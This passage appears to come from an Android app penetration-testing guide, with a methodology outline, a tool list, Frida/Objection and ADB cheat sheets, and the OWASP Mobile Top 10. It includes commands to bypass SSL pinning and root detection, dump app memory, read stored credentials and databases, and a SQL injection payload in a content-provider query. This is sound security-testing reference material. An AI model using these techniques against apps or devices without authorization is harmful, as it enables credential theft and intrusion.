Phase 1: RECONNAISSANCE
├── Download APK (APKPure, APKMirror, Play Store)
├── Check app version + target SDK
└── Identify tech stack (native, react native, flutter, etc.)
Phase 2: STATIC ANALYSIS
├── Extract APK → apktool d target.apk
├── Read AndroidManifest.xml → exported components, perms
├── Decompile Java → jadx-gui → code review
├── Search for hardcoded secrets, API endpoints
├── Check network_security_config.xml
├── Analyze native libraries (.so)
└── Check for sensitive data in assets/
Phase 3: DYNAMIC ANALYSIS
├── Set up proxy → Burp Suite → intercept HTTPS
├── Root emulator → bypass SSL pinning
├── Run app → capture API traffic
├── Test all features → monitor network + logcat
├── Frida/Objection → hook functions → bypass controls
└── Drozer → test exported components
Phase 4: NETWORK ANALYSIS
├── Capture all HTTPS traffic via Burp
├── Test API endpoints → OWASP API Top 10
├── Check for sensitive data in requests/responses
├── Test authentication + authorization
└── Check for hardcoded endpoints in JS/config
Phase 5: DATA STORAGE ANALYSIS
├── SharedPreferences → plaintext credentials?
├── SQLite databases → sensitive data?
├── External storage → world-readable files?
├── Logcat → credentials in logs?
└── Memory dumps → sensitive data in memory?
Phase 6: REPORTING
├── CVSS scoring
├── PoC demonstrations
└── Remediation recommendations
14.2 Essential Tools
# ─── STATIC ANALYSIS ───
apktool # decode APK resources + smali
jadx / jadx-gui # decompile DEX → Java (best tool!)
dex2jar # convert .dex to .jar
MobSF # automated static + dynamic analysis platform
androguard # Python library for APK analysis
apkleaks # scan APK for secrets/endpoints
# ─── DYNAMIC ANALYSIS ───
Frida # dynamic instrumentation (hook anything)
Objection # Frida-based toolkit (SSL pin bypass, root bypass)
Drozer # Android security assessment framework
Apktool # repackage + patch APKs
# ─── NETWORK ───
Burp Suite # intercept + modify HTTPS traffic
mitmproxy # CLI alternative to Burp
Wireshark # raw packet capture
tcpdump on device # capture on device itself
# ─── ADB UTILITIES ───
scrcpy # screen mirror + control device
adb # core Android debug bridge
Anbox # Android in Linux container
# ─── AUTOMATED SCANNERS ───
MobSF # Mobile Security Framework (best!)
QARK # Android static analysis
AndroBugs # Android vulnerability scanner
14.3 Frida & Objection Cheat Sheet
# ─── Frida setup ───
adb push frida-server-<ver>-android-<arch> /data/local/tmp/frida-server
adb shell chmod 755 /data/local/tmp/frida-server
adb shell /data/local/tmp/frida-server &
# List processes
frida-ps -U # USB device
frida-ps -U | grep target
# Attach to process
frida -U -n com.target.app # by name
frida -U -p <pid> # by PID
frida -U -f com.target.app # spawn + attach
# Run script
frida -U -n com.target.app -l ssl_bypass.js
frida -U -f com.target.app --no-pause -l bypass.js
# ─── Objection (Frida-powered toolkit) ───
# Install
pip3 install objection
# Attach
objection -g com.target.app explore
# Inside objection shell:
android sslpinning disable # bypass SSL pinning
android root disable # bypass root detection
android hooking list classes # list all classes
android hooking list class_methods com.target.app.AuthManager
android hooking watch class_method com.target.app.AuthManager.login
android hooking watch method 'com.target.app.CryptoUtils.decrypt' --dump-args --dump-backtrace --dump-return
android intent launch_activity com.target.app.AdminActivity
memory dump all /tmp/memdump.bin # dump process memory
sqlite connect /data/data/com.target.app/databases/main.db # query DB
# ─── Useful Frida scripts ───
# SSL Pinning bypass
# https://github.com/httptoolkit/frida-android-unpinning
frida -U -f com.target.app -l android-unpinning.js --no-pause
# Root detection bypass
# https://github.com/fridayy/frida-scripts
frida -U -f com.target.app -l root-detection-bypass.js --no-pause
14.4 MobSF (Mobile Security Framework)
# ─── Run MobSF with Docker ───
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf
# Access: http://localhost:8000
# Default: admin / mobsf
# ─── Features ───
# Upload APK → automated static analysis
# Permissions, hardcoded secrets, exported components
# CVSS scoring, vulnerability categorization
# Dynamic analysis (with connected device/emulator)
# API scanning integration
# ─── REST API ───
# Upload
curl -F "file=@target.apk" http://localhost:8000/api/v1/upload \
-H "Authorization: <api_key>"
# Scan
curl -X POST "http://localhost:8000/api/v1/scan" \
-H "Authorization: <api_key>" \
-d "hash=<scan_hash>"
# Report
curl "http://localhost:8000/api/v1/report_json?hash=<hash>" \
-H "Authorization: <api_key>"
14.5 Common Android Vulnerabilities (OWASP Mobile Top 10)
M1: Improper Credential Usage
→ Hardcoded keys, insecure transmission of credentials
M2: Inadequate Supply Chain Security
→ Malicious third-party libraries/SDKs
M3: Insecure Authentication/Authorization
→ Exported activities bypass login, broken tokens
M4: Insufficient Input/Output Validation
→ SQL injection, XSS in WebViews, path traversal
M5: Insecure Communication
→ HTTP cleartext, missing SSL pinning, weak TLS
M6: Inadequate Privacy Controls
→ PII in logs, unencrypted local storage, overreach perms
M7: Insufficient Binary Protections
→ No obfuscation, debuggable=true, no RASP
M8: Security Misconfiguration
→ Exported components, allowBackup, world-readable files
M9: Insecure Data Storage
→ SharedPrefs credentials, plaintext SQLite, external storage
M10: Insufficient Cryptography
→ Hardcoded keys, weak algorithms (ECB mode, MD5), bad random
15. Cheat Sheet
ADB Quick Reference
# Device
adb devices && adb root && adb remount
# App
adb install target.apk
adb shell pm list packages | grep target
adb shell pm path com.target.app
adb pull /data/app/com.target.app*/base.apk .
# Shell & Files
adb shell ls -la /data/data/com.target.app/
adb shell cat /data/data/com.target.app/shared_prefs/*.xml
adb shell sqlite3 /data/data/com.target.app/databases/*.db ".dump"
# Logs
adb logcat | grep -i "password\|token\|key\|error"
# Components
adb shell am start -n com.pkg/.Activity
adb shell am startservice -n com.pkg/.Service
adb shell am broadcast -a com.pkg.ACTION
adb shell content query --uri content://com.pkg.provider/table
# Port forward
adb forward tcp:8080 tcp:8080 # Frida
adb reverse tcp:8080 tcp:8080 # Burp proxy
Static Analysis Quick Reference
# Decompile
apktool d target.apk -o decompiled/
jadx-gui target.apk
# Secrets hunting
grep -r "api.key\|secret\|password\|token\|AWS\|Bearer" decompiled/ -i
grep -r "http://" decompiled/ -h | sort -u
find decompiled/ -name "*.db" -o -name "*.pem" -o -name "*.p12"
# Manifest checks
cat decompiled/AndroidManifest.xml | grep -i "exported\|debug\|backup\|cleartext"
# Automated
apkleaks -f target.apk # find secrets
mobsf → upload → scan
Objection Quick Reference
# Connect
objection -g com.target.app explore
# Bypass
android sslpinning disable
android root disable
# Enumerate
android hooking list classes | grep -i auth
android hooking list class_methods com.target.app.CryptoManager
# Hook
android hooking watch class_method com.target.app.AuthManager.isAdmin \
--dump-args --dump-return
# DB
sqlite connect /data/data/com.target.app/databases/main.db
Exported Component Testing
# Activity
adb shell am start -n <pkg>/.<Activity>
adb shell am start -n <pkg>/.<Activity> --es "key" "value"
# Service
adb shell am startservice -n <pkg>/.<Service>
adb shell am startservice -n <pkg>/.<Service> --es "action" "value"
# Broadcast
adb shell am broadcast -a <pkg>.ACTION_NAME
adb shell am broadcast -a <pkg>.ACTION --es "key" "value"
# Content Provider
adb shell content query --uri content://<authority>/<path>
adb shell content query --uri content://<auth>/<path> --where "1=1--"
# Deep Link
adb shell am start -a android.intent.action.VIEW -d "scheme://host/path?param=value"
Vulnerability Quick Reference
Component Attack Check
──────────────────────────────────────────────────────────────────
Activity Login bypass / direct access exported=true?
Service Unauthorized operation exported=true?
BroadcastReceiver Trigger sensitive action exported=true?
ContentProvider SQLi / data theft exported=true + no perms
Intent Injection / interception implicit intent with PII
Deep Link Open redirect / param injection scheme in manifest
WebView XSS → RCE addJavascriptInterface
SharedPrefs Credential theft MODE_WORLD_READABLE
SQLite Plaintext sensitive data unencrypted .db
Logcat Token/credential leak Log.d with sensitive data
SSL MITM cleartext / no pinning
Backup Data extraction allowBackup=true
Native code Memory corruption strings + ghidra